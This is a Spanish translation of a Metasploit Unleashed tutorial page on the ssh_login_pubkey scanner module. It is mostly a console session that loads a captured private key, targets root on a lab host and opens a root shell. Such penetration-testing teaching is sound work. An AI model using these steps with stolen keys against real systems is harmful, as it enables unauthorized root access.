Ssh/ssh login pubkey
De www.metasploit-es.com.ar
Utilizar autenticacion de clave publica para SSH es altamente recomendado ya que es mucho mas seguro que utilizar nombres de usuarios y contraseñas para autenticar. El problema de esto es que si la porcion de clave privada del par de claves no se mantiene segura, es como tirar la seguridad de la configuracion por la ventana. Si, durante una prueba, obtienes acceso a una clave SSH privada, puedes utilizar el modulo "ssh_login_pubkey" para intentar iniciar sesion a traves de un rango de dispositivos.
msf > use auxiliary/scanner/ssh/ssh_login_pubkey msf auxiliary(ssh_login_pubkey) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 KEY_FILE no Filename of one or several cleartext private keys. RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(ssh_login_pubkey) > set KEY_FILE /tmp/id_rsa KEY_FILE => /tmp/id_rsa msf auxiliary(ssh_login_pubkey) > set USERNAME root USERNAME => root msf auxiliary(ssh_login_pubkey) > set RHOSTS 192.168.1.154 RHOSTS => 192.168.1.154 msf auxiliary(ssh_login_pubkey) > run [*] 192.168.1.154:22 - SSH - Testing Cleartext Keys [*] 192.168.1.154:22 - SSH - Trying 1 cleartext key per user. [*] Command shell session 1 opened (?? -> ??) at 2010-09-09 17:17:56 -0600 [+] 192.168.1.154:22 - SSH - Success: 'root':'57:c3:11:5d:77:c5:63:90:33:2d:c5:c4:99:78:62:7a' 'uid=0(root) gid=0(root) groups=0(root) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(ssh_login_pubkey) > sessions -i 1 [*] Starting interaction with 1... ls reset_logs.sh id uid=0(root) gid=0(root) groups=0(root) exit [*] Command shell session 1 closed. msf auxiliary(ssh_login_pubkey) >
© Offensive Security 2009
Original de www.offensive-security.com Traducido por cbk999
